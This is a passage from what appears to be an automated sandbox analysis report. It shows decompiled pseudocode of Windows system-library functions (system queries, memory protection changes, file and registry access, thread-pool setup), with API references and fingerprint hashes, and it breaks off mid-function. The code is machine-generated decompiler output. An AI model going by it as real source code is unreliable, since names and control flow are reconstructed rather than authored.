0x6d2c5301
0x6d2c5310
0x6d2c5315
0x6d2c5318
0x6d2c531b
0x6d2c5320
0x6d2c532e
0x6d2c5331
0x00000000
0x6d2c5331
0x6d2c5328
0x6d2c5329
0x00000000
0x6d2c5329
0x6d2c51fa
0x6d2c5235
0x6d2c5236
0x6d2c5239
0x6d2c523f
0x6d2c5240
0x6d2c5241
0x6d2c5242
0x6d2c5246
0x6d2c5247
0x6d2c524e
0x6d2c5251
0x6d2c5267
0x6d2c5269
0x6d2c526e
0x6d2c527d
0x6d2c527e
0x6d2c5281
0x6d2c5282
0x6d2c5287
0x6d2c5288
0x6d2c528a
0x6d2c528f
0x6d2c5294
0x00000000
0x00000000
0x6d2c529a
0x6d2c529c
0x6d2c529e
0x6d2c529e
0x6d2c52a4
0x6d2c52b0
0x00000000
0x00000000
0x6d2c52ba
0x6d2c52bc
0x6d2c52bc
0x6d2c52d4
0x6d2c52d9
0x6d2c52dc
0x6d2c52e1
0x00000000
0x00000000
0x6d2c52e7
0x6d2c52f4
0x00000000
0x6d2c52f4
0x6d2c5270
0x00000000
0x6d2c5270
0x6d2c51fc
0x6d2c51fd
0x6d2c5202
0x6d2c5203
0x6d2c5205
0x6d2c520a
0x6d2c520f
0x00000000
0x00000000
0x6d2c521b
0x6d2c5226
0x6d2c522b
0x6d2c521d
0x6d2c521d
0x6d2c5222
0x6d2c5222
0x6d2c522d
0x00000000

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6D3205F0,00000080,6D2B5CA1,?,?,00000000,0000000E,00000000), ref: 6D2C5205

Part of subcall function 6D289860: LdrInitializeThunk.NTDLL(6D2D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6D28986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6D3205F0,00000080,6D2B5CA1,?,?,00000000,0000000E,00000000), ref: 6D2C5249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6D3205F0,00000080,6D2B5CA1,?,?,00000000,0000000E), ref: 6D2C5262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6D3205F0,00000080,6D2B5CA1), ref: 6D2C528A
RtlFindCharInUnicodeString.1105(00000001,?,6D221810,?,6D3205F0,00000080,6D2B5CA1,?,?,00000000,0000000E,00000000), ref: 6D2C5310
RtlEnterCriticalSection.1105(?,6D3205F0,00000080,6D2B5CA1,?,?,00000000,0000000E,00000000), ref: 6D2C5351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6D3205F0,00000080), ref: 6D2C537F

Strings

UEFI, xrefs: 6D2C521D
Legacy, xrefs: 6D2C5226

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: 9b4df4cdc40f03abab7e8e4293ca1fa4f84e72dfb8a7cee54d577369c9a19af8
Instruction ID: fdd85a978aba48df9a57eb4b21c79269162580d405211027ea5212844da0ef86
Opcode Fuzzy Hash: 9b4df4cdc40f03abab7e8e4293ca1fa4f84e72dfb8a7cee54d577369c9a19af8
Instruction Fuzzy Hash: 54516A71A9460D9BDB51CFA88880BBDB7F8BB48704F144529E619EB291DB71DD40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C3C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D2C3C93(intOrPtr __ecx, wchar_t* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				wchar_t* _v32;
				intOrPtr _v36;
				short _v38;
				void* _v40;
				void* _v48;
				void* _v56;
				void* __ebp;
				wchar_t* _t40;
				long _t43;
				long _t67;
				signed int _t72;
				intOrPtr _t75;
				signed short _t76;
				short _t78;
				intOrPtr _t79;
				void* _t80;
				signed short* _t81;
				intOrPtr _t84;
				void* _t85;
				void* _t89;

				_v12 = _v12 & 0x00000000;
				_t81 = __edx;
				_t79 = __ecx;
				_v24 = __ecx;
				_t40 = wcschr(__edx, 0x3d);
				if(_t40 == 0) {
					L25:
					__eflags = 0;
					return 0;
				}
				 *_t40 = 0;
				_t72 =  *_t81 & 0x0000ffff;
				_t87 = _t72 - 0x53;
				if(_t72 != 0x53) {
					__eflags = _t72 - 0x4f;
					if(_t72 != 0x4f) {
						goto L25;
					}
					_t43 = wcstoul( &(_t40[0]),  &_v32, 0x10);
					_t85 = _t85 + 0xc;
					_v12 = _t43;
					__eflags = _t43;
					if(__eflags == 0) {
						goto L25;
					}
					_t67 = 1;
					L6:
					_t80 = E6D2C3E74(_t79, _t87);
					if(_t80 == 0) {
						goto L25;
					}
					_t75 = 0;
					_t84 = ( *(_t80 + 0x14) & 0x0000ffff) + 0x18 + _t80;
					_t89 = 0 -  *(_t80 + 6);
					while(1) {
						_v8 = _t75;
						if(_t89 >= 0) {
							break;
						}
						_t78 = 8;
						if( *((intOrPtr*)(_t84 + 0xc)) == 0 ||  *((intOrPtr*)(_t84 + 8)) == 0) {
							L23:
							_t75 = _t75 + 1;
							_t84 = _t84 + 0x28;
							_t89 = _t75 - ( *(_t80 + 6) & 0x0000ffff);
							continue;
						} else {
							if(_t67 != 0) {
								_t21 = _t75 + 1; // 0x2
								__eflags = _v12 - _t21;
								if(_v12 != _t21) {
									L21:
									__eflags = _t67;
									if(_t67 != 0) {
										goto L23;
									}
									L22:
									RtlFreeUnicodeString( &_v48);
									_t75 = _v8;
									goto L23;
								}
								L19:
								_v16 =  *((intOrPtr*)(_t84 + 8));
								_v20 =  *((intOrPtr*)(_t84 + 0xc)) + _v24;
								_push( &_v28);
								_push(_a4);
								_push( &_v16);
								_push( &_v20);
								_push(0xffffffff);
								E6D289A00();
								_push(_v28);
								_push(_v16);
								_push(_v20);
								E6D2D5720(0x55, 3, "Set 0x%X protection for %p section for %d bytes, old protection 0x%X\n", _a4);
								_t85 = _t85 + 0x1c;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t75 = _v8;
								goto L21;
							}
							_t76 = 0;
							_v36 = _t84;
							_v38 = _t78;
							_v40 = 0;
							while( *((char*)((_t76 & 0x0000ffff) + _t84)) != 0) {
								_t76 = _t76 + 1;
								_v40 = _t76;
								if(_t76 < _t78) {
									continue;
								}
								break;
							}
							if(RtlAnsiStringToUnicodeString( &_v48,  &_v40, 1) < 0) {
								goto L25;
							}
							if(RtlCompareUnicodeString( &_v56,  &_v48, 1) == 0) {
								goto L19;
							}
							goto L22;
						}
					}
					return 1;
				}
				RtlInitUnicodeString( &_v56,  &(_t40[0]));
				_t67 = 0;
				goto L6;
			}

0x6d2c3c9b
0x6d2c3ca2
0x6d2c3ca4
0x6d2c3ca9
0x6d2c3cac
0x6d2c3cb5
0x6d2c3e08
0x6d2c3e08
0x00000000
0x6d2c3e08
0x6d2c3cbd
0x6d2c3cc0
0x6d2c3cc3
0x6d2c3cc6
0x6d2c3cd9
0x6d2c3cdc
0x00000000
0x00000000
0x6d2c3cec
0x6d2c3cf1
0x6d2c3cf4
0x6d2c3cf7
0x6d2c3cf9
0x00000000
0x00000000
0x6d2c3cff
0x6d2c3d01
0x6d2c3d08
0x6d2c3d0c
0x00000000
0x00000000
0x6d2c3d1b
0x6d2c3d1d
0x6d2c3d1f
0x6d2c3d23
0x6d2c3d23
0x6d2c3d26
0x00000000
0x00000000
0x6d2c3d32
0x6d2c3d33
0x6d2c3df5
0x6d2c3df9
0x6d2c3dfa
0x6d2c3dfd
0x00000000
0x6d2c3d43
0x6d2c3d45
0x6d2c3d94
0x6d2c3d97
0x6d2c3d9a
0x6d2c3de5
0x6d2c3de5
0x6d2c3de7
0x00000000
0x00000000
0x6d2c3de9
0x6d2c3ded
0x6d2c3df2
0x00000000
0x6d2c3df2
0x6d2c3d9c
0x6d2c3d9f
0x6d2c3da8
0x6d2c3dae
0x6d2c3daf
0x6d2c3db5
0x6d2c3db9
0x6d2c3dba
0x6d2c3dbc
0x6d2c3dc1
0x6d2c3dc4
0x6d2c3dc7
0x6d2c3dd6
0x6d2c3ddb
0x6d2c3dde
0x6d2c3de0
0x00000000
0x00000000
0x6d2c3de2
0x00000000
0x6d2c3de2
0x6d2c3d47
0x6d2c3d49
0x6d2c3d4c
0x6d2c3d50
0x6d2c3d54
0x6d2c3d5d
0x6d2c3d5f
0x6d2c3d66
0x00000000
0x00000000
0x00000000
0x6d2c3d66
0x6d2c3d79
0x00000000
0x00000000
0x6d2c3d90
0x00000000
0x00000000
0x00000000
0x6d2c3d92
0x6d2c3d33
0x00000000
0x6d2c3e04
0x6d2c3cd0
0x6d2c3cd5
0x00000000

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6D2C3CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6D2C3CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6D2C3CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6D2C3D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6D2C3D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6D2C3DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6D2C3DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6D2C3DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6D2C3DCD

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: f23a2e4004f1b3ac0622fa54835981d7adab2c45d86c4aaf26d07847fb484a15
Instruction ID: cd3162eb2e1dcb097dde5afb092b00e0875b7cc7eb88523befcd5ec3dedf2aa6
Opcode Fuzzy Hash: f23a2e4004f1b3ac0622fa54835981d7adab2c45d86c4aaf26d07847fb484a15
Instruction Fuzzy Hash: E741D77299420EA6DB41CBA4C841BFEB7B8BF09311F10452AE911E3140F732DE44D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D27F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6D27F0BF(signed short* __ecx, signed short __edx, void* __eflags, void** _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				void* _t51;
				signed short _t82;
				short _t84;
				signed int _t91;
				void* _t97;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				void* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E6D264120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t108 = E6D289830();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v44);
						_push( &_v52);
						_push(_v68);
						_t108 = E6D289990();
						if(_t108 < 0) {
							L10:
							_push(_v68);
							E6D2895D0();
							goto L11;
						} else {
							_t109 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								_t97 = _t21;
								 *((intOrPtr*)(_t109 + 4)) = _v76;
								 *_t109 = 1;
								 *(_t109 + 0x10) = _t97;
								 *(_t109 + 0xe) = _t82;
								 *(_t109 + 8) = _v72;
								 *((intOrPtr*)(_t109 + 0x14)) = _v48;
								memcpy(_t97, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *(_t109 + 0x10) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v76);
										E6D2895D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)( *(_t109 + 0x10) + _t100)) = _t84;
										 *((short*)( *(_t109 + 0x10) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x6d27f0d3
0x6d27f0d9
0x6d27f0e0
0x6d27f0e7
0x6d27f0f2
0x6d27f0f4
0x6d27f0f8
0x6d27f100
0x6d27f108
0x6d27f10d
0x6d27f115
0x6d27f116
0x6d27f11f
0x6d27f123
0x6d27f124
0x6d27f12c
0x6d27f130
0x6d27f144
0x6d27f14b
0x6d27f152
0x6d2bbab0
0x6d2bbab0
0x6d27f158
0x6d27f158
0x6d27f15a
0x6d27f160
0x6d27f165
0x6d27f166
0x6d27f16f
0x6d27f173
0x6d2bbaa7
0x6d2bbaa7
0x6d2bbaab
0x00000000
0x6d27f179
0x6d27f18d
0x6d27f191
0x6d2bbaa2
0x00000000
0x6d27f197
0x6d27f19b
0x6d27f19b
0x6d27f1a2
0x6d27f1a9
0x6d27f1af
0x6d27f1b2
0x6d27f1b6
0x6d27f1b9
0x6d27f1c4
0x6d27f1d8
0x6d27f1df
0x6d27f1e3
0x6d27f1eb
0x6d27f1ee
0x6d27f1f4
0x6d27f20f
0x6d2bbab7
0x6d2bbabb
0x6d2bbacc
0x6d2bbad1
0x6d27f215
0x6d27f218
0x6d27f226
0x6d27f22b
0x00000000
0x6d27f22b
0x6d27f1f6
0x6d27f1f6
0x6d27f1f9
0x6d27f1fb
0x6d27f1fb
0x6d27f1f4
0x6d27f191
0x6d27f173
0x6d27f152
0x6d27f203

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6D27F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6D27F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6D27F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6D27F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6D27F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6D2BBAAB
ZwClose.1105(?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6D3379A0,6D3379A0), ref: 6D2BBABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6D2BBACC

Strings

@, xrefs: 6D27F124

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: c92977be30e6eb695721ed20bace6f517ab8909d0798996d369c3cb96c32d9d9
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: E851AD715487159FC321CF18C880A6BB7F8FF88714F01892DFA9587690E7B4E954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2576FE, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 116
nativeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6D2576FE(WCHAR* __ecx, unsigned int* __edx, short* _a4) {
				signed int _v12;
				char _v528;
				signed int _v532;
				intOrPtr _v536;
				WCHAR* _v540;
				char* _v544;
				void* _v548;
				signed int _v552;
				signed int _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				signed int _v568;
				char _v572;
				void* _v580;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t39;
				long _t56;
				unsigned int _t58;
				unsigned int* _t60;
				intOrPtr _t66;
				short* _t68;
				long _t69;
				signed int _t70;

				_t67 = __edx;
				_v12 =  *0x6d33d360 ^ _t70;
				_t60 = __edx;
				_v540 = __ecx;
				_t68 = _a4;
				if(__edx == 0 || __ecx == 0) {
					_t39 = 0xc000000d;
					goto L8;
				} else {
					_v532 = _v532 & 0x00000000;
					_v536 =  *((intOrPtr*)(__edx));
					RtlInitUnicodeString( &_v580, L"Latest");
					_v548 = 0x2000000;
					_v544 =  &_v528;
					_t69 = RtlAppendUnicodeToString( &_v548, L"\\Registry\\Machine\\Software\\Microsoft\\LanguageOverlay\\OverlayPackages");
					if(_t69 < 0) {
						L6:
						if(_v532 != 0) {
							 *0x6d226cb8(_v532);
						}
						_t39 = _t69;
						L8:
						return E6D28B640(_t39, _t60, _v12 ^ _t70, _t67, _t68, _t69);
					}
					_t69 = RtlAppendUnicodeToString( &_v548, "\\");
					if(_t69 < 0) {
						goto L6;
					}
					_t69 = RtlAppendUnicodeToString( &_v548, _v540);
					if(_t69 < 0) {
						goto L6;
					}
					_v572 = 0x18;
					_v564 =  &_v548;
					_v532 = 0;
					_v568 = 0;
					_v560 = 0x40;
					_v556 = 0;
					_v552 = 0;
					_t69 =  *0x6d226cd8( &_v532, 0x20019,  &_v572);
					if(_t69 >= 0) {
						_t67 =  &_v580;
						_t56 = E6D31F1B5(_v532,  &_v580,  &_v540, _t68, _t60);
						_t66 = _v536;
						_t69 = _t56;
						if(_t69 < 0) {
							L16:
							if(_t68 != 0 && _t66 >= 2) {
								 *_t68 = 0;
							}
							goto L6;
						}
						if(_v540 == 1) {
							_t58 =  *_t60;
							if(_t58 > _t66) {
								_t69 = 0xc0000023;
							} else {
								_t67 = 0;
								 *((short*)(_t68 + (_t58 >> 1) * 2 - 2)) = 0;
							}
							if(_t69 >= 0) {
								goto L6;
							} else {
								goto L16;
							}
						}
						_t69 = 0xc000015c;
						goto L16;
					}
					goto L6;
				}
			}

0x6d2576fe
0x6d257710
0x6d257715
0x6d257719
0x6d257720
0x6d257725
0x6d2a9609
0x00000000
0x6d257733
0x6d257735
0x6d25773c
0x6d25774e
0x6d25775a
0x6d257764
0x6d25777b
0x6d25777f
0x6d257811
0x6d257818
0x6d2a95fe
0x6d2a95fe
0x6d25781e
0x6d257820
0x6d257830
0x6d257830
0x6d257796
0x6d25779a
0x00000000
0x00000000
0x6d2577ae
0x6d2577b2
0x00000000
0x00000000
0x6d2577ba
0x6d2577c4
0x6d2577d2
0x6d2577e4
0x6d2577eb
0x6d2577f5
0x6d2577fb
0x6d257807
0x6d25780b
0x6d2a9598
0x6d2a959e
0x6d2a95a3
0x6d2a95a9
0x6d2a95ad
0x6d2a95dd
0x6d2a95df
0x6d2a95f0
0x6d2a95f0
0x00000000
0x6d2a95df
0x6d2a95b6
0x6d2a95bf
0x6d2a95c3
0x6d2a95d0
0x6d2a95c5
0x6d2a95c7
0x6d2a95c9
0x6d2a95c9
0x6d2a95d7
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a95d7
0x6d2a95b8
0x00000000
0x6d2a95b8
0x00000000
0x6d25780b

APIs

RtlInitUnicodeString.1105(?,Latest,00000000,02BDFFFE,?), ref: 6D25774E
RtlAppendUnicodeToString.1105(02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6D257776

Part of subcall function 6D25A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6D25A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6D25A9E2

RtlAppendUnicodeToString.1105(02000000,6D225000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6D257791
RtlAppendUnicodeToString.1105(02000000,?,02000000,6D225000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6D2577A9
ZwOpenKey.1105(00000000,00020019,00000018,02000000,?,02000000,6D225000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6D257801

Strings

@, xrefs: 6D2577EB
Latest, xrefs: 6D257748
\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages, xrefs: 6D257770

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Append$InitOpenmemmove
String ID: @$Latest$\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages
API String ID: 1239783430-1383699509
Opcode ID: 57e166091dc38a8e7587f22cd085347363117d4b31dbb032637f3bf8cf2306bf
Instruction ID: 2d578dd28b06666b673299e8b4d28140722ec343c64da09e052fc1e9d227aeb7
Opcode Fuzzy Hash: 57e166091dc38a8e7587f22cd085347363117d4b31dbb032637f3bf8cf2306bf
Instruction Fuzzy Hash: FE415D71D9022E9BCB21CB54CCC8BEAB7B4FB05311F0585EAE808A7200DB709E94CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D2737EB, Relevance: 15.3, APIs: 10, Instructions: 269
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D2737EB(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t98;
				intOrPtr _t102;
				char* _t113;
				signed short _t123;
				signed int _t124;
				signed int _t129;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t139;
				intOrPtr* _t141;
				long _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t157;
				signed int _t160;
				signed short _t163;
				signed short _t164;
				signed int _t173;
				intOrPtr* _t176;
				short _t178;
				intOrPtr _t179;
				intOrPtr* _t181;
				intOrPtr _t182;
				void* _t183;

				_push(0x50);
				_push(0x6d31ff48);
				E6D29D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t183 - 0x44)) = __ecx;
				 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t183 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t183 - 0x2c) = __edx & 0x00000001;
				_t98 =  *[fs:0x30];
				RtlImageNtHeader( *(_t98 + 8));
				if(_t98 == 0) {
					_t178 = 0xc000007b;
					L28:
					return E6D29D0D1(_t178);
				}
				 *((intOrPtr*)(_t183 - 0x38)) =  *((intOrPtr*)(_t98 + 0x60));
				_t179 =  *((intOrPtr*)(_t98 + 0x64));
				 *((intOrPtr*)(_t183 - 0x30)) = _t179;
				_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t102 != 0) {
					if(_t179 < _t102) {
						 *((intOrPtr*)(_t183 - 0x30)) = _t102;
					}
				}
				_t181 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6d3384c4 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t183 - 0x20)) = _t181;
				 *((intOrPtr*)(_t183 - 4)) = 0;
				 *((intOrPtr*)(_t183 - 0x40)) = 1;
				if(_t181 == 0) {
					L36:
					_t178 = 0xc0000017;
					 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
					goto L24;
				} else {
					_t152 =  *0x6d3384c4 + 0xc0000;
					 *(_t183 - 0x48) = _t152;
					_t153 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t152,  *0x6d3384c0 * 0x24);
					 *((intOrPtr*)(_t183 - 0x24)) = _t153;
					if(_t153 == 0) {
						_t178 = 0xc0000017;
						 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
						_t181 =  *((intOrPtr*)(_t183 - 0x20));
						L24:
						 *((intOrPtr*)(_t183 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t183 - 0x40)) = 0;
						E6D273B5A(_t107, 0, _t178, _t181);
						if(_t178 < 0) {
							goto L28;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t183 - 0x44)))) = _t181;
						if(E6D267D50() != 0) {
							_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t178 =  *((intOrPtr*)(_t183 - 0x1c));
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
						} else {
							_t113 = 0x7ffe0386;
						}
						if( *_t113 != 0) {
							L32:
							E6D318BB6(_t181);
						}
						goto L28;
					}
					_t154 = 0;
					 *(_t183 - 0x28) = 0;
					_t182 =  *((intOrPtr*)(_t183 - 0x20));
					_t173 =  *0x6d3384c0;
					while(_t154 < 3) {
						 *((intOrPtr*)(_t182 + 0x10 + _t154 * 4)) = _t173 * _t154 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						_t154 = _t154 + 1;
						 *(_t183 - 0x28) = _t154;
					}
					_t155 = 0;
					while(1) {
						 *(_t183 - 0x28) = _t155;
						if(_t155 >= _t173 * 3) {
							break;
						}
						_t141 = _t155 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						 *((intOrPtr*)(_t141 + 8)) = 0;
						 *((intOrPtr*)(_t141 + 4)) = _t141;
						 *_t141 = _t141;
						_t155 = _t155 + 1;
					}
					_t157 =  *0x6d3384c4 + 0xc0000;
					 *(_t183 - 0x4c) = _t157;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t157 | 0x00000008, _t173 << 2);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x1c) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t160 =  *0x6d3384c4 + 0xc0000;
					 *(_t183 - 0x50) = _t160;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t160 | 0x00000008,  *0x6d3384c0 * 0xc);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x20) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t123 =  *0x7ffe03c0;
					 *(_t183 - 0x34) = _t123;
					 *(_t183 - 0x54) = _t123;
					 *(_t181 + 0x100) = _t123;
					_t178 = E6D273B7A(_t181);
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					}
					 *((intOrPtr*)(_t181 + 0x104)) = 0xfffffffe;
					 *(_t183 - 0x60) = 0;
					 *((intOrPtr*)(_t183 - 0x5c)) = 0;
					_t163 =  *(_t183 - 0x34);
					_t124 = _t163 & 0x0000ffff;
					 *(_t183 - 0x60) = _t124;
					 *(_t181 + 8) = _t124;
					 *((intOrPtr*)(_t181 + 0xc)) = 0;
					 *_t181 = 1;
					if(_t163 < 4) {
						_t164 = 4;
					} else {
						_t164 = _t163 + 1;
					}
					 *(_t183 - 0x34) = _t164;
					_t49 = _t181 + 0x28; // 0x28
					_push(_t164);
					_push(0);
					_push(0x1f0003);
					_t178 = E6D289F70();
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					} else {
						 *((intOrPtr*)(_t183 - 4)) = 1;
						 *((intOrPtr*)(_t183 - 0x3c)) = 1;
						_t129 =  *0x7ffe03c0 << 2;
						if(_t129 < 0x200) {
							_t129 = 0x200;
						}
